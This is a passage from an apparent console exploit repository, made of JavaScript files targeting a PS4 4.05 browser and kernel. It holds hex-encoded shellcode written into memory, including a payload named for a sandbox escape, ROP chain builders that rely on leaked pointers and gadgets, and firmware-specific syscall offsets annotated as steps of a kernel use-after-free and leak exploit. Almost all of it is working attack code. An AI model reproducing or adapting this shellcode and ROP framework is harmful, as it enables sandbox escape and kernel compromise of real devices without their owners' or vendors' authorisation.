29 | p.write4(addr.add32(0x0000006c), 0x00000092);
30 | p.write4(addr.add32(0x00000070), 0xf631d231);
31 | p.write4(addr.add32(0x00000074), 0xe8ef8944);
32 | p.write4(addr.add32(0x00000078), 0x0000005f);
33 | p.write4(addr.add32(0x0000007c), 0x8d48c589);
34 | p.write4(addr.add32(0x00000080), 0x0fff7b1d);
35 | p.write4(addr.add32(0x00000084), 0xc303c600);
36 | p.write4(addr.add32(0x00000088), 0x984805eb);
37 | p.write4(addr.add32(0x0000008c), 0xbac30148);
38 | p.write4(addr.add32(0x00000090), 0x00001000);
39 | p.write4(addr.add32(0x00000094), 0x89de8948);
40 | p.write4(addr.add32(0x00000098), 0x0023e8ef);
41 | p.write4(addr.add32(0x0000009c), 0xc0850000);
42 | p.write4(addr.add32(0x000000a0), 0x8944e87f);
43 | p.write4(addr.add32(0x000000a4), 0x0024e8ef);
44 | p.write4(addr.add32(0x000000a8), 0xef890000);
45 | p.write4(addr.add32(0x000000ac), 0x00001de8);
46 | p.write4(addr.add32(0x000000b0), 0xff4ae800);
47 | p.write4(addr.add32(0x000000b4), 0x8348000f);
48 | p.write4(addr.add32(0x000000b8), 0x5d5b18c4);
49 | p.write4(addr.add32(0x000000bc), 0x5d415c41);
50 | p.write4(addr.add32(0x000000c0), 0xc0c748c3);
51 | p.write4(addr.add32(0x000000c4), 0x00000003);
52 | p.write4(addr.add32(0x000000c8), 0x0fca8949);
53 | p.write4(addr.add32(0x000000cc), 0xc748c305);
54 | p.write4(addr.add32(0x000000d0), 0x000006c0);
55 | p.write4(addr.add32(0x000000d4), 0xca894900);
56 | p.write4(addr.add32(0x000000d8), 0x48c3050f);
57 | p.write4(addr.add32(0x000000dc), 0x001ec0c7);
58 | p.write4(addr.add32(0x000000e0), 0x89490000);
59 | p.write4(addr.add32(0x000000e4), 0xc3050fca);
60 | p.write4(addr.add32(0x000000e8), 0x61c0c748);
61 | p.write4(addr.add32(0x000000ec), 0x49000000);
62 | p.write4(addr.add32(0x000000f0), 0x050fca89);
63 | p.write4(addr.add32(0x000000f4), 0xc0c748c3);
64 | p.write4(addr.add32(0x000000f8), 0x00000068);
65 | p.write4(addr.add32(0x000000fc), 0x0fca8949);
66 | p.write4(addr.add32(0x00000100), 0xc748c305);
67 | p.write4(addr.add32(0x00000104), 0x00006ac0);
68 | p.write4(addr.add32(0x00000108), 0xca894900);
69 | p.write4(addr.add32(0x0000010c), 0x90c3050f);
70 | }
71 |
--------------------------------------------------------------------------------
/prisonbreak.js:
--------------------------------------------------------------------------------
1 | function writePrisonBreak(p, addr) {
2 | p.write4(addr.add32(0x00000000), 0x193d8d48);
3 | p.write4(addr.add32(0x00000004), 0x31000000);
4 | p.write4(addr.add32(0x00000008), 0x0003e8f6);
5 | p.write4(addr.add32(0x0000000c), 0xc0310000);
6 | p.write4(addr.add32(0x00000010), 0xc0c748c3);
7 | p.write4(addr.add32(0x00000014), 0x0000000b);
8 | p.write4(addr.add32(0x00000018), 0x0fca8949);
9 | p.write4(addr.add32(0x0000001c), 0x9090c305);
10 | p.write4(addr.add32(0x00000020), 0x08478b48);
11 | p.write4(addr.add32(0x00000024), 0x000082b9);
12 | p.write4(addr.add32(0x00000028), 0x788b48c0);
13 | p.write4(addr.add32(0x0000002c), 0x708b4848);
14 | p.write4(addr.add32(0x00000030), 0x48320f40);
15 | p.write4(addr.add32(0x00000034), 0xc720e2c1);
16 | p.write4(addr.add32(0x00000038), 0x00000446);
17 | p.write4(addr.add32(0x0000003c), 0x89480000);
18 | p.write4(addr.add32(0x00000040), 0x968b48d1);
19 | p.write4(addr.add32(0x00000044), 0x00000118);
20 | p.write4(addr.add32(0x00000048), 0xc7c10948);
21 | p.write4(addr.add32(0x0000004c), 0x00000846);
22 | p.write4(addr.add32(0x00000050), 0x46c70000);
23 | p.write4(addr.add32(0x00000054), 0x00000014);
24 | p.write4(addr.add32(0x00000058), 0x0002c700);
25 | p.write4(addr.add32(0x0000005c), 0x48000000);
26 | p.write4(addr.add32(0x00000060), 0x74e0918b);
27 | p.write4(addr.add32(0x00000064), 0x894800c1);
28 | p.write4(addr.add32(0x00000068), 0x8b483056);
29 | p.write4(addr.add32(0x0000006c), 0xd5e72081);
30 | p.write4(addr.add32(0x00000070), 0x47894801);
31 | p.write4(addr.add32(0x00000074), 0x47894820);
32 | p.write4(addr.add32(0x00000078), 0xc3c03118);
33 | p.write4(addr.add32(0x0000007c), 0x90909090);
34 | }
35 |
--------------------------------------------------------------------------------
/rop.js:
--------------------------------------------------------------------------------
1 | /* Leave these values untouched, they will be set properly post-exploitation */
2 | var moduleBaseAddresses =
3 | {
4 | 'libkernel': 0,
5 | 'libSceWebKit2': 0,
6 | 'libSceLibcInternal': 0
7 | };
8 |
9 | /* Simply adds given offset to given module's base address */
10 | function getGadget(moduleName, offset)
11 | {
12 | return moduleBaseAddresses[moduleName].add32(offset);
13 | }
14 |
15 | var memory = function(p, address)
16 | {
17 | this.basePtr = address
18 | this.dataPtr = 0;
19 |
20 | /* Return a pointer in mmap'd memory */
21 | this.allocate = function(size)
22 | {
23 | /* Prevent buffer overflow / pagefault */
24 | if(this.dataPtr > 0x10000 || this.dataPtr + size > 0x10000)
25 | {
26 | return -1;
27 | }
28 |
29 | var memAddr = this.basePtr.add32(this.dataPtr);
30 |
31 | this.dataPtr += size;
32 |
33 | return memAddr;
34 | };
35 |
36 | /* Clears all data by zeroing out this.data and resetting count */
37 | this.clear = function()
38 | {
39 | for(var i = 0; i < 0x10000; i += 8)
40 | {
41 | p.write8(this.basePtr.add32(i), 0);
42 | }
43 | };
44 |
45 | /* Zero out our data buffer before returning a storage object */
46 | this.clear();
47 |
48 | return this;
49 | };
50 |
51 | /* Called to start a kernel ROP chain */
52 | var krop = function(p, addr) {
53 | this.chainPtr = addr;
54 | this.count = 0;
55 |
56 | this.push = function(val)
57 | {
58 | p.write8(this.chainPtr.add32(this.count * 8), val);
59 | this.count++;
60 | };
61 |
62 | this.write64 = function (addr, val)
63 | {
64 | this.push(window.gadgets["pop rdi"]);
65 | this.push(addr);
66 | this.push(window.gadgets["pop rax"]);
67 | this.push(val);
68 | this.push(window.gadgets["mov qword ptr [rdi], rax"]);
69 | }
70 |
71 | return this;
72 | };
73 |
74 | /* Called to start a new ROP chain */
75 | var saferop = function(p, addr) {
76 | this.ropChain = undefined;
77 | this.ropChainPtr = undefined;
78 | this.ropChainEndPtr = undefined;
79 |
80 | if(addr == undefined)
81 | {
82 | this.ropChain = new Uint32Array(0x4000);
83 | this.ropChainPtr = p.read8(p.leakval(this.ropChain).add32(0x28));
84 | this.ropChainEndPtr = this.ropChainPtr.add32(0x4000*4);
85 | }
86 | else
87 | {
88 | this.ropChainPtr = addr;
89 | this.ropChainEndPtr = this.ropChainPtr.add32(0x4000*4);
90 | }
91 |
92 | this.count = 0;
93 |
94 | /* Clears the chain */
95 | this.clear = function()
96 | {
97 | this.count = 0;
98 | this.runtime = undefined;
99 |
100 | for(var i = 0; i < 0x4000 - 0x8; i += 8)
101 | {
102 | p.write8(this.ropChainPtr.add32(i), 0);
103 | }
104 | };
105 |
106 | /* Gets the current chain index and increments it */
107 | this.getChainIndex = function()
108 | {
109 | this.count++;
110 | return this.count-1;
111 | }
112 |
113 | /* Pushes a gadget or value on the stack */
114 | this.push = function(val)
115 | {
116 | p.write8(this.ropChainPtr.add32(this.getChainIndex() * 8), val);
117 | }
118 |
119 | /* Writes a 64-bit value to given location */
120 | this.push64 = function(where, what)
121 | {
122 | this.push(window.gadgets["pop rdi"]);
123 | this.push(where);
124 | this.push(window.gadgets["pop rsi"]);
125 | this.push(what);
126 | this.push(window.gadgets["mov qword ptr [rdi], rsi"]);
127 | }
128 |
129 | /* Sets up a function call into a module by address */
130 | this.call = function (rip, rdi, rsi, rdx, rcx, r8, r9)
131 | {
132 | if(rdi != undefined)
133 | {
134 | this.push(window.gadgets["pop rdi"]);
135 | this.push(rdi);
136 | }
137 |
138 | if(rsi != undefined)
139 | {
140 | this.push(window.gadgets["pop rsi"]);
141 | this.push(rsi);
142 | }
143 |
144 | if(rdx != undefined)
145 | {
146 | this.push(window.gadgets["pop rdx"]);
147 | this.push(rdx);
148 | }
149 |
150 | if(rcx != undefined)
151 | {
152 | this.push(window.gadgets["pop rcx"]);
153 | this.push(rcx);
154 | }
155 |
156 | if(r8 != undefined)
157 | {
158 | this.push(window.gadgets["pop r8"]);
159 | this.push(r8);
160 | }
161 |
162 | if(r9 != undefined)
163 | {
164 | this.push(window.gadgets["pop r9"]);
165 | this.push(r9);
166 | }
167 |
168 | this.push(rip);
169 | return this;
170 | }
171 |
172 | /* Sets up a return value location*/
173 | this.saveReturnValue = function(where)
174 | {
175 | this.push(window.gadgets["pop rdi"]);
176 | this.push(where);
177 | this.push(window.gadgets["mov qword ptr [rdi], rax"]);
178 | }
179 |
180 | /* Loads the ROP chain and initializes it */
181 | this.run = function()
182 | {
183 | var retv = p.loadchain(this);
184 | this.clear();
185 |
186 | return retv;
187 | }
188 |
189 | return this;
190 | };
191 |
192 | /* Called to start a new ROP chain */
193 | var rop = function(p, addr) {
194 | this.ropChainSize = 0x4000;
195 | this.ropChain = undefined;
196 | this.ropChainBasePtr = undefined;
197 | this.ropChainPtr = undefined;
198 | this.ropChainEndPtr = undefined;
199 |
200 | if(addr == undefined)
201 | {
202 | this.ropChain = new Uint32Array((this.ropChainSize/4)*2);
203 | this.ropChainBasePtr = p.read8(p.leakval(this.ropChain).add32(0x28)).add32(this.ropChainSize);
204 | this.ropChainPtr = this.ropChainBasePtr.add32(8);
205 | this.ropChainEndPtr = this.ropChainBasePtr.add32(this.ropChainSize);
206 | }
207 | else
208 | {
209 | this.ropChainBasePtr = addr.add32(0);
210 | this.ropChainPtr = addr.add32(8);
211 | this.ropChainEndPtr = addr.add32(this.ropChainSize);
212 | }
213 |
214 | this.count = 0;
215 |
216 | /* Clears the chain */
217 | this.clear = function()
218 | {
219 | this.count = 0;
220 | this.runtime = undefined;
221 |
222 | for(var i = 0; i < this.ropChainSize-8; i += 8)
223 | {
224 | p.write8(this.ropChainBasePtr.add32(i), 0);
225 | }
226 | };
227 |
228 | /* Gets the current chain index and increments it */
229 | this.getChainIndex = function()
230 | {
231 | this.count++;
232 | return this.count-1;
233 | }
234 |
235 | /* Pushes a gadget or value on the stack */
236 | this.push = function(val)
237 | {
238 | p.write8(this.ropChainPtr.add32(this.getChainIndex() * 8), val);
239 | }
240 |
241 | /* Writes a 64-bit value to given location */
242 | this.push64 = function(where, what)
243 | {
244 | this.push(window.gadgets["pop rdi"]);
245 | this.push(where);
246 | this.push(window.gadgets["pop rsi"]);
247 | this.push(what);
248 | this.push(window.gadgets["mov qword ptr [rdi], rsi"]);
249 | }
250 |
251 | /* Sets up a function call into a module by address */
252 | this.call = function (rip, rdi, rsi, rdx, rcx, r8, r9)
253 | {
254 | if(rdi != undefined)
255 | {
256 | this.push(window.gadgets["pop rdi"]);
257 | this.push(rdi);
258 | }
259 |
260 | if(rsi != undefined)
261 | {
262 | this.push(window.gadgets["pop rsi"]);
263 | this.push(rsi);
264 | }
265 |
266 | if(rdx != undefined)
267 | {
268 | this.push(window.gadgets["pop rdx"]);
269 | this.push(rdx);
270 | }
271 |
272 | if(rcx != undefined)
273 | {
274 | this.push(window.gadgets["pop rcx"]);
275 | this.push(rcx);
276 | }
277 |
278 | if(r8 != undefined)
279 | {
280 | this.push(window.gadgets["pop r8"]);
281 | this.push(r8);
282 | }
283 |
284 | if(r9 != undefined)
285 | {
286 | this.push(window.gadgets["pop r9"]);
287 | this.push(r9);
288 | }
289 |
290 | this.push(rip);
291 | return this;
292 | }
293 |
294 | /* Sets up a return value location*/
295 | this.saveReturnValue = function(where)
296 | {
297 | this.push(window.gadgets["pop rdi"]);
298 | this.push(where);
299 | this.push(window.gadgets["mov qword ptr [rdi], rax"]);
300 | }
301 |
302 | /* Loads the ROP chain and initializes it */
303 | this.run = function()
304 | {
305 | var retv = p.loadchain(this);
306 | this.clear();
307 |
308 | return retv;
309 | }
310 |
311 | return this;
312 | };
313 |
--------------------------------------------------------------------------------
/syscalls.js:
--------------------------------------------------------------------------------
1 | /* Holds system call wrapper offsets for user's specific firmware */
2 | window.syscalls = [];
3 | window.memcalls = [];
4 |
5 | /* These are the offsets in libkernel for system call wrappers */
6 | window.syscallMap =
7 | {
8 | '4.05':
9 | {
10 | 3: 0x25F0,
11 | 4: 0x2730,
12 | 5: 0x2570,
13 | 6: 0x24D0,
14 | 20: 0x06F0,
15 | 23: 0x0710,
16 | 24: 0x0730,
17 | 54: 0x0970, // Heap spray via sys_ioctl
18 | 97: 0x0B70,
19 | 98: 0x24F0,
20 | 203: 0x1030, // Prefaulting
21 | 477: 0x27B0, // sys_mmap
22 | 557: 0x1AF0, // Kernel Exploit Free P1 "sys_namedobj_create"
23 | 558: 0x1B10, // Kernel Exploit Free P3 "sys_namedobj_delete"
24 | 601: 0x1E70, // Kernel Exploit Free P2 "sys_mdbg_service",
25 | 632: 0x21D0, // Kernel Exploit Leak P1 "sys_thr_suspend_ucontext"
26 | 633: 0x21F0, // Kernel Exploit Leak P3 "sys_thr_resume_ucontext"
27 | 634: 0x2210, // Kernel Exploit Leak P2 "sys_thr_get_ucontext"
28 | }
29 | }
30 |
31 | /* A long ass map of system call names -> number, you shouldn't need to touch this */
32 | window.syscallnames =
33 | {
34 | "sys_exit": 1,
35 | "sys_fork": 2,
36 | "sys_read": 3,
37 | "sys_write": 4,
38 | "sys_open": 5,
39 | "sys_close": 6,
40 | "sys_wait4": 7,
41 | "sys_unlink": 10,
42 | "sys_chdir": 12,
43 | "sys_chmod": 15,
44 | "sys_getpid": 20,
45 | "sys_setuid": 23,
46 | "sys_getuid": 24,
47 | "sys_geteuid": 25,
48 | "sys_recvmsg": 27,
49 | "sys_sendmsg": 28,
50 | "sys_recvfrom": 29,
51 | "sys_accept": 30,
52 | "sys_getpeername": 31,
53 | "sys_getsockname": 32,
54 | "sys_access": 33,
55 | "sys_chflags": 34,
56 | "sys_fchflags": 35,
57 | "sys_sync": 36,
58 | "sys_kill": 37,
59 | "sys_stat": 38,
60 | "sys_getppid": 39,
61 | "sys_dup": 41,
62 | "sys_pipe": 42,
63 | "sys_getegid": 43,
64 | "sys_profil": 44,
65 | "sys_getgid": 47,
66 | "sys_getlogin": 49,
67 | "sys_setlogin": 50,
68 | "sys_sigaltstack": 53,
69 | "sys_ioctl": 54,
70 | "sys_reboot": 55,
71 | "sys_revoke": 56,
72 | "sys_execve": 59,
73 | "sys_execve": 59,
74 | "sys_msync": 65,
75 | "sys_munmap": 73,
76 | "sys_mprotect": 74,
77 | "sys_madvise": 75,
78 | "sys_mincore": 78,
79 | "sys_getgroups": 79,
80 | "sys_setgroups": 80,
81 | "sys_setitimer": 83,
82 | "sys_getitimer": 86,
83 | "sys_getdtablesize": 89,
84 | "sys_dup2": 90,
85 | "sys_fcntl": 92,
86 | "sys_select": 93,
87 | "sys_fsync": 95,
88 | "sys_setpriority": 96,
89 | "sys_socket": 97,
90 | "sys_connect": 98,
91 | "sys_getpriority": 100,
92 | "sys_send": 101,
93 | "sys_recv": 102,
94 | "sys_bind": 104,
95 | "sys_setsockopt": 105,
96 | "sys_listen": 106,
97 | "sys_recvmsg": 113,
98 | "sys_sendmsg": 114,
99 | "sys_gettimeofday": 116,
100 | "sys_getrusage": 117,
101 | "sys_getsockopt": 118,
102 | "sys_readv": 120,
103 | "sys_writev": 121,
104 | "sys_settimeofday": 122,
105 | "sys_fchmod": 124,
106 | "sys_recvfrom": 125,
107 | "sys_setreuid": 126,
108 | "sys_setregid": 127,
109 | "sys_rename": 128,
110 | "sys_flock": 131,
111 | "sys_sendto": 133,
112 | "sys_shutdown": 134,
113 | "sys_socketpair": 135,
114 | "sys_mkdir": 136,
115 | "sys_rmdir": 137,
116 | "sys_utimes": 138,
117 | "sys_adjtime": 140,
118 | "sys_getpeername": 141,
119 | "sys_setsid": 147,
120 | "sys_sysarch": 165,
121 | "sys_setegid": 182,
122 | "sys_seteuid": 183,
123 | "sys_fstat": 189,
124 | "sys_lstat": 190,
125 | "sys_pathconf": 191,
126 | "sys_fpathconf": 192,
127 | "sys_getrlimit": 194,
128 | "sys_setrlimit": 195,
129 | "sys_getdirentries": 196,
130 | "sys___sysctl": 202,
131 | "sys_mlock": 203,
132 | "sys_munlock": 204,
133 | "sys_futimes": 206,
134 | "sys_poll": 209,
135 | "sys_clock_gettime": 232,
136 | "sys_clock_settime": 233,
137 | "sys_clock_getres": 234,
138 | "sys_ktimer_create": 235,
139 | "sys_ktimer_delete": 236,
140 | "sys_ktimer_settime": 237,
141 | "sys_ktimer_gettime": 238,
142 | "sys_ktimer_getoverrun": 239,
143 | "sys_nanosleep": 240,
144 | "sys_rfork": 251,
145 | "sys_issetugid": 253,
146 | "sys_getdents": 272,
147 | "sys_preadv": 289,
148 | "sys_pwritev": 290,
149 | "sys_getsid": 310,
150 | "sys_aio_suspend": 315,
151 | "sys_mlockall": 324,
152 | "sys_munlockall": 325,
153 | "sys_sched_setparam": 327,
154 | "sys_sched_getparam": 328,
155 | "sys_sched_setscheduler": 329,
156 | "sys_sched_getscheduler": 330,
157 | "sys_sched_yield": 331,
158 | "sys_sched_get_priority_max": 332,
159 | "sys_sched_get_priority_min": 333,
160 | "sys_sched_rr_get_interval": 334,
161 | "sys_utrace": 335,
162 | "sys_sigprocmask": 340,
163 | "sys_sigprocmask": 340,
164 | "sys_sigsuspend": 341,
165 | "sys_sigpending": 343,
166 | "sys_sigtimedwait": 345,
167 | "sys_sigwaitinfo": 346,
168 | "sys_kqueue": 362,
169 | "sys_kevent": 363,
170 | "sys_uuidgen": 392,
171 | "sys_sendfile": 393,
172 | "sys_fstatfs": 397,
173 | "sys_ksem_close": 400,
174 | "sys_ksem_post": 401,
175 | "sys_ksem_wait": 402,
176 | "sys_ksem_trywait": 403,
177 | "sys_ksem_init": 404,
178 | "sys_ksem_open": 405,
179 | "sys_ksem_unlink": 406,
180 | "sys_ksem_getvalue": 407,
181 | "sys_ksem_destroy": 408,
182 | "sys_sigaction": 416,
183 | "sys_sigreturn": 417,
184 | "sys_getcontext": 421,
185 | "sys_setcontext": 422,
186 | "sys_swapcontext": 423,
187 | "sys_sigwait": 429,
188 | "sys_thr_create": 430,
189 | "sys_thr_exit": 431,
190 | "sys_thr_self": 432,
191 | "sys_thr_kill": 433,
192 | "sys_ksem_timedwait": 441,
193 | "sys_thr_suspend": 442,
194 | "sys_thr_wake": 443,
195 | "sys_kldunloadf": 444,
196 | "sys__umtx_op": 454,
197 | "sys__umtx_op": 454,
198 | "sys_thr_new": 455,
199 | "sys_sigqueue": 456,
200 | "sys_thr_set_name": 464,
201 | "sys_rtprio_thread": 466,
202 | "sys_pread": 475,
203 | "sys_pwrite": 476,
204 | "sys_mmap": 477,
205 | "sys_lseek": 478,
206 | "sys_truncate": 479,
207 | "sys_ftruncate": 480,
208 | "sys_thr_kill2": 481,
209 | "sys_shm_open": 482,
210 | "sys_shm_unlink": 483,
211 | "sys_cpuset_getid": 486,
212 | "sys_cpuset_getaffinity": 487,
213 | "sys_cpuset_setaffinity": 488,
214 | "sys_openat": 499,
215 | "sys_pselect": 522,
216 |
217 | "sys_regmgr_call": 532,
218 | "sys_jitshm_create": 533,
219 | "sys_jitshm_alias": 534,
220 | "sys_dl_get_list": 535,
221 | "sys_dl_get_info": 536,
222 | "sys_dl_notify_event": 537,
223 | "sys_evf_create": 538,
224 | "sys_evf_delete": 539,
225 | "sys_evf_open": 540,
226 | "sys_evf_close": 541,
227 | "sys_evf_wait": 542,
228 | "sys_evf_trywait": 543,
229 | "sys_evf_set": 544,
230 | "sys_evf_clear": 545,
231 | "sys_evf_cancel": 546,
232 | "sys_query_memory_protection": 47,
233 | "sys_batch_map": 548,
234 | "sys_osem_create": 549,
235 | "sys_osem_delete": 550,
236 | "sys_osem_open": 551,
237 | "sys_osem_close": 552,
238 | "sys_osem_wait": 553,
239 | "sys_osem_trywait": 554,
240 | "sys_osem_post": 555,
241 | "sys_osem_cancel": 556,
242 | "sys_namedobj_create": 557,
243 | "sys_namedobj_delete": 558,
244 | "sys_set_vm_container": 559,
245 | "sys_debug_init": 560,
246 | "sys_suspend_process": 561,
247 | "sys_resume_process": 562,
248 | "sys_opmc_enable": 563,
249 | "sys_opmc_disable": 564,
250 | "sys_opmc_set_ctl": 565,
251 | "sys_opmc_set_ctr": 566,
252 | "sys_opmc_get_ctr": 567,
253 | "sys_budget_create": 568,
254 | "sys_budget_delete": 569,
255 | "sys_budget_get": 570,
256 | "sys_budget_set": 571,
257 | "sys_virtual_query": 572,
258 | "sys_mdbg_call": 573,
259 | "sys_sblock_create": 574,
260 | "sys_sblock_delete": 575,
261 | "sys_sblock_enter": 576,
262 | "sys_sblock_exit": 577,
263 | "sys_sblock_xenter": 578,
264 | "sys_sblock_xexit": 579,
265 | "sys_eport_create": 580,
266 | "sys_eport_delete": 581,
267 | "sys_eport_trigger": 582,
268 | "sys_eport_open": 583,
269 | "sys_eport_close": 584,
270 | "sys_is_in_sandbox": 585,
271 | "sys_dmem_container": 586,
272 | "sys_get_authinfo": 587,
273 | "sys_mname": 588,
274 | "sys_dynlib_dlopen": 589,
275 | "sys_dynlib_dlclose": 590,
276 | "sys_dynlib_dlsym": 591,
277 | "sys_dynlib_get_list": 592,
278 | "sys_dynlib_get_info": 593,
279 | "sys_dynlib_load_prx": 594,
280 | "sys_dynlib_unload_prx": 595,
281 | "sys_dynlib_do_copy_relocations": 596,
282 | "sys_dynlib_prepare_dlclose": 597,
283 | "sys_dynlib_get_proc_param": 598,
284 | "sys_dynlib_process_needed_and_relocate": 599,
285 | "sys_sandbox_path": 600,
286 | "sys_mdbg_service": 601,
287 | "sys_randomized_path": 602,
288 | "sys_rdup": 603,
289 | "sys_dl_get_metadata": 604,
290 | "sys_workaround8849": 605,
291 | "sys_is_development_mode": 606,
292 | "sys_get_self_auth_info": 607,
293 | "sys_dynlib_get_info_ex": 608,
294 | "sys_budget_get_ptype": 610,
295 | "sys_budget_getid": 609,
296 | "sys_get_paging_stats_of_all_threads": 611,
297 | "sys_get_proc_type_info": 612,
298 | "sys_get_resident_count": 613,
299 | "sys_prepare_to_suspend_process": 614,
300 | "sys_get_resident_fmem_count": 615,
301 | "sys_thr_get_name": 616,
302 | "sys_set_gpo": 617,
303 | "sys_thr_suspend_ucontext": 632,
304 | "sys_thr_resume_ucontext": 633,
305 | "sys_thr_get_ucontext": 634
306 | }
307 |
--------------------------------------------------------------------------------